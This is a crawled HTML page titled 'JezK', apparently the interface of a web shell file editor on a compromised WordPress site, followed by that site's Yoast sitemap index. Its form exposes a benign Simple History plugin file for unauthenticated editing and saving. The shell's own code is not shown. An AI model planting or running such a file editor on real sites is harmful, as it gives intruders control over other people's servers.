
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class-action-links-dropin.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Simple_History\Dropins;

use Simple_History\Helpers;

/**
 * Add link to Simple History to the list of action links available following bulk plugin updates, single plugin installation, and single plugin updates.
 */
class Action_Links_Dropin extends Dropin {
	/** @inheritDoc */
	public function loaded() {
		add_filter( &#039;update_bulk_plugins_complete_actions&#039;, [ $this, &#039;add_simple_history_link&#039; ], 10, 1 );
		add_filter( &#039;update_plugin_complete_actions&#039;, [ $this, &#039;add_simple_history_link&#039; ], 10, 1 );
		add_filter( &#039;install_plugin_complete_actions&#039;, [ $this, &#039;add_simple_history_link&#039; ], 10, 1 );
		add_filter( &#039;update_bulk_theme_complete_actions&#039;, [ $this, &#039;add_simple_history_link&#039; ], 10, 1 );
		add_filter( &#039;update_translations_complete_actions&#039;, [ $this, &#039;add_simple_history_link&#039; ], 10, 1 );
		add_filter( &#039;install_theme_complete_actions&#039;, [ $this, &#039;add_simple_history_link&#039; ], 10, 1 );
		add_filter( &#039;update_theme_complete_actions&#039;, [ $this, &#039;add_simple_history_link&#039; ], 10, 1 );
	}

	/**
	 * Add link to Simple History to the list of action links available following bulk plugin updates, single plugin installation, and single plugin updates.
	 *
	 * @param array $update_actions Array of action links.
	 * @return array
	 */
	public function add_simple_history_link( $update_actions ) {
		/**
		 * Filters whether to show the action link to Simple History.
		 *
		 * @since 4.17.0
		 */
		$show_link = apply_filters( &#039;simple_history/show_action_link&#039;, true );

		// Bail if filter returns false.
		if ( $show_link === false ) {
			return $update_actions;
		}

		// Bail if the current user can&#039;t view the history.
		// phpcs:ignore WordPress.WP.Capabilities.Undetermined -- Capability is filterable, defaults to &#039;manage_options&#039;.
		if ( ! current_user_can( Helpers::get_view_settings_capability() ) ) {
			return $update_actions;
		}

		$update_actions[&#039;simple_history&#039;] = sprintf(
			&#039;&lt;a href=&quot;%s&quot; target=&quot;_parent&quot;&gt;%s&lt;/a&gt;&#039;,
			Helpers::get_history_admin_url(),
			__( &#039;Go to Simple History&#039;, &#039;simple-history&#039; )
		);

		return $update_actions;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//viverdelicitacao.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://viverdelicitacao.com/page-sitemap.xml</loc>
		<lastmod>2025-08-22T16:18:12+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->